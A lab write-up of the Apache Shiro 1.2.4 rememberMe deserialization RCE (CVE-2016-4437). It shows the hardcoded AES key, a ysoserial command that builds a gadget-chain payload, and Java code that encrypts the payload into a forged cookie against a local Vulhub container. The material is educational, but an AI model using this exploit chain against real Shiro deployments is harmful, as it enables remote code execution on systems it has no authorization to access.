Shiro
Apache Shiro Deserialization RCE
Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management.
In order to maintain user's login status, Shiro implemented the rememberMe
cookie. This cookie is encrypted. However, Shiro used a hardcoded AES encryption key kPH+bIxk5D2deZiIxcaaaA==
. This allows an attacker to forge a cookie containing an malicious object that causes RCE. Shiro will then decrypt this cookie and deserialize it, and then the RCE payload will be triggered.
This is how rememberMe
cookie is processed by the server side:
get rememberMe cookie -> Base64 decode -> AES decryption -> deserialization
This is how we achieve RCE by reversing the above logic:
serialized command -> AES encryption -> Base64 encode -> rememberMe cookie
Lab: Vulhub Apache Shiro 1.2.4 Deserialization RCE
Setup
Spawn a Docker instance:
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d
The vulnerable application will be hosted on http://localhost:8080
. Log in with credential admin:vulhub
.
Generate RCE payload using ysoserial:
ysoserial CommonsBeanutils1 "touch /tmp/success" > poc.ser
Encrypt the payload using the hardcoded key:
package org.vulhub.shirodemo;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
Send the output as rememberMe
cookie. Verify that the RCE works:
docker-compose exec web bash
ls -l /tmp
Reference
Last updated
Was this helpful?